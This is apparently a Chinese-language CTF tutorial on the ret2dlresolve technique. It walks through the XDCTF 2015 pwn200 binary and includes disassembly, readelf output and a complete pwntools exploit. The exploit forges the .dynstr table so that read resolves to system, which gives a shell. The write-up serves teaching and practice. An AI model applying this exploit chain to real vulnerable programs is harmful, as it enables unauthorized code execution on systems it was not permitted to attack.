在学习这个 ROP 利用技巧前,需要首先理解动态链接的基本过程以及 ELF 文件中动态链接相关的结构。动态链接

原理

在 Linux 中,程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset) 来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢?答案是肯定的。这也是 ret2dlresolve 攻击的核心所在。

具体的,动态链接器在解析符号地址时所使用的重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 .dynamic 索引得到的。所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号,那么攻击就达成了。

思路 1 - 直接控制重定位表项的相关内容

由于动态链接器最后在解析符号的地址时,是依据符号的名字进行解析的。因此,一个很自然的想法是直接修改动态字符串表 .dynstr,比如把某个函数在字符串表中对应的字符串修改为目标函数对应的字符串。但是,动态字符串表和代码映射在一起,是只读的。此外,类似地,我们可以发现动态符号表、重定位表项都是只读的。

但是,假如我们可以控制程序执行流,那我们就可以伪造合适的重定位偏移,从而达到调用目标函数的目的。然而,这种方法比较麻烦,因为我们不仅需要伪造重定位表项,符号信息和字符串信息,而且我们还需要确保动态链接器在解析的过程中不会出错。

思路 2 - 间接控制重定位表项的相关内容

既然动态链接器会从 .dynamic 节中索引到各个目标节,那如果我们可以修改动态节中的内容,那自然就很容易控制待解析符号对应的字符串,从而达到执行目标函数的目的。

由于动态连接器在解析符号地址时,主要依赖于 link_map 来查询相关的地址。因此,如果我们可以成功伪造 link_map,也就可以控制程序执行目标函数。

下面我们以 2015-XDCTF-pwn200 来介绍 32 位和 64 位下如何使用 ret2dlresolve 技巧。

32 位例子

NO RELRO

点击下载: main_no_relro_32

checksec

$ chmod +x main_no_relro_32
$ checksec main_no_relro_32
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

在这种情况下,修改 .dynamic 会简单些。因为我们只需要修改 .dynamic 节中的字符串表的地址为伪造的字符串表的地址,并且相应的位置为目标字符串基本就行了。具体思路如下

  1. 修改 .dynamic 节中字符串表的地址为伪造的地址
  2. 在伪造的地址处构造好字符串表,将 read 字符串替换为 system 字符串。
  3. 在特定的位置读取 /bin/sh 字符串。
  4. 调用 read 函数的 plt 的第二条指令,触发 _dl_runtime_resolve 进行函数解析,从而执行 system 函数。
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t n; // eax
char buf[112]; // [esp+0h] [ebp-7Ch] BYREF
int *p_argc; // [esp+70h] [ebp-Ch]

p_argc = &argc;
strcpy(buf, "Welcome to XDCTF2015~!\n");
memset(&buf[24], 0, 0x4Cu);
setbuf(stdout, buf);
n = strlen(buf);
write(1, buf, n);
vuln();
return 0;
}

ssize_t vuln()
{
char buf[104]; // [esp+Ch] [ebp-6Ch] BYREF

setbuf(stdin, buf);
return read(0, buf, 0x100u);
}

典型的缓冲区溢出漏洞:读取 256 字节到仅 104 字节的缓冲区

$ readelf -d ./main_no_relro_32
Dynamic section at offset 0x7c4 contains 24 entries:
Tag Type Name/Value
0x00000005 (STRTAB) 0x804824c
0x0000000a (STRSZ) 107 (bytes)
#0x00000005 是 DT_STRTAB 的标签,标识这是动态字符串表(.dynstr)的地址
#0x804824c 是原始的 .dynstr 字符串表在内存中的地址

# 找到 STRTAB 在 .dynamic 节中的存储位置
$ objdump -s -j .dynamic ./main_no_relro_32
./main_no_relro_32: file format elf32-i386
Contents of section .dynamic:
8049804 05000000 4c820408 06000000 ac810408 ....L...........
#05000000 → 标签 DT_STRTAB(0x00000005)
#4c820408 → 对应的值(即原始 STRTAB 地址 0x804824c,小端转大端后为 0x0804824c)

$ readelf -S ./main_no_relro_32
There are 30 section headers, starting at offset 0x10b0:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[25] .bss NOBITS 080498e0 0008e0 000004 00 WA 0 0 1
[26] .comment PROGBITS 00000000 0008e0 000029 01 MS 0 0 1
[27] .symtab SYMTAB 00000000 00090c 000460 10 28 44 4
[28] .strtab STRTAB 00000000 000d6c 00023e 00 0 0 1
[29] .shstrtab STRTAB 00000000 000faa 000105 00 0 0 1
#Addr 列:.bss 段的起始地址是 0x080498e0
#Flg 列:W(可写)和 A(已分配),说明该区域有可写权限,可以通过 read 函数写入数据。
#Size 列:000004(4 字节),表示 .bss 段本身只定义了 4 字节,但后面地址为0,是符号表相关,不占用程序运行时内存

$ objdump -d ./main_no_relro_32 -j .plt
./main_no_relro_32: file format elf32-i386
Disassembly of section .plt:
08048370 <read@plt>:
8048370: ff 25 c8 98 04 08 jmp *0x80498c8
8048376: 68 08 00 00 00 push $0x8
804837b: e9 d0 ff ff ff jmp 8048350 <.plt>
#第一条指令:跳向GOT表地址
#第二条指令:压入函数索引(此处为0x8)
#第三条指令:跳回PLT表起始
#rop.raw(data) 是向 ROP 链中直接添加原始数据(字节或地址)的方法

#确定需要修改的内存地址:
上述 DT_STRTAB 标签和地址在 .dynamic 节中的起始偏移是 0x8049804(行首地址)。
其中,STRTAB 地址的具体存储位置是该偏移的 +4 字节处(因为前 4 字节是标签):
起始偏移:0x8049804
标签位置:0x8049804(4字节:05000000)
地址位置:0x8049804 + 4 = 0x8049808(4字节:4c820408 → 原始地址 0x804824c)
对应到漏洞利用代码:rop.read(0, 0x08049804+4, 4)

#rop.read(0,0x080498E0+0x100,len(b"/bin/sh\x00"))
+0x100原因:
程序内存的 “页级连续性”:
- 操作系统分配内存时,是以 “页” 为单位(通常 32 位系统中一页为 4096 字节)。
- .bss 段虽然只定义了 4 字节,但它所在的内存页(从 0x080498e0 开始的 4096 字节区域)是完整分配的,且整个页都带有可写权限(因为 .bss 段的 W 标志会使整个页被标记为可写)。
- 因此,0x080498e0 之后的地址(即使超出 .bss 段的定义大小)仍属于同一可写内存页,可以正常读写数据。

#rop.raw(0x08048376)
压入 read 函数的索引(动态链接器会根据该索引去 .dynstr 表查找函数名)。
由于 .dynstr 表已被替换,动态链接器会误认为要解析的是 system 函数,从而将 read@got 地址更新为 system 函数的真实地址。
最终执行时,原本调用 read 的地方会实际执行 system 函数,配合参数 /bin/sh 即可获取 shell。

#assert(len(rop.chain())<=256)
程序的 vuln 函数中,read 函数最多读取 0x100(256 字节)
#rop.raw("a"*(256-len(rop.chain())))
填充 ROP 链到刚好 256 字节。
from pwn import *
# context.log_level="debug"
context.terminal = ["tmux","splitw","-h"]
context.arch="i386"
p = process("./main_no_relro_32")
rop = ROP("./main_no_relro_32")
elf = ELF("./main_no_relro_32")
p.recvuntil(b'Welcome to XDCTF2015~!\n')
offset = 0x6c+4
rop.raw(offset*b'a')
rop.read(0,0x08049804+4,4) # 调用read函数修改内存【从标准输入读取,要修改的内存地址(.dynamic 节中字符串表指针的位置),要读取的字节数(32 位程序中地址是 4 字节)】
dynstr = elf.get_section_by_name('.dynstr').data()# 获取原始字符串表数据
dynstr = dynstr.replace(b"read",b"system")# 将"read"字符串替换为"system"
rop.read(0,0x080498E0,len((dynstr))) # 将伪造的字符串表写入指定地址
rop.read(0,0x080498E0+0x100,len(b"/bin/sh\x00")) # 存储/bin/sh字符串的地址(在伪造的字符串表后面),要执行的 shell 命令,必须以空字节结尾【偏移 0x100 确保远离伪造的字符串表(dynstr 的长度从之前的 readelf -d 可知是 107 字节,0x100 足够覆盖),且内存页的连续性】

#read函数的原型是ssize_t read(int fd, void *buf, size_t count),需要3 个参数
rop.raw(0x08048376) # read@plt的第二条指令地址
rop.raw(0xdeadbeef) # 占位数据(会被忽略)
#在正常函数调用中,调用者会先将 "返回地址"(即函数执行完后要回到的下一条指令地址)压入栈,再压入参数。
#但在当前 ROP 步骤中,我们只关心read函数的执行(目的是往0x080498E0+0x100写入/bin/sh),暂时不需要指定它的返回地址,因此用0xdeadbeef(或任意值)占位。后续可以通过覆盖这个位置来控制read执行后的流程(比如跳转到system函数)。
rop.raw(0x080498E0+0x100) # 传给system函数的参数地址(/bin/sh的位置)
print(rop.dump())#打印当前 ROP 链的详细结构,包括每个地址对应的指令或数据,方便调试时确认 ROP 链是否正确。
assert(len(rop.chain())<=256) # 确保ROP总长度不超过256字节
rop.raw(b"a"*(256-len(rop.chain()))) # 填充剩余空间

p.send(rop.chain()) # 发送构造好的ROP链,触发缓冲区溢出并控制程序流程。
p.send(p32(0x080498E0)) # 发送伪造的字符串表地址(4字节)
p.send(dynstr) # 发送修改后的字符串表数据
p.send(b"/bin/sh\x00") # 发送shell命令字符串
p.interactive()
$ python3 exp.py
[+] Starting local process './main_no_relro_32': pid 312
[*] '/CTFshow_pwn/main_no_relro_32'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Loaded 10 cached gadgets for './main_no_relro_32'
[*] Switching to interactive mode
$ ls
ctfshow_flag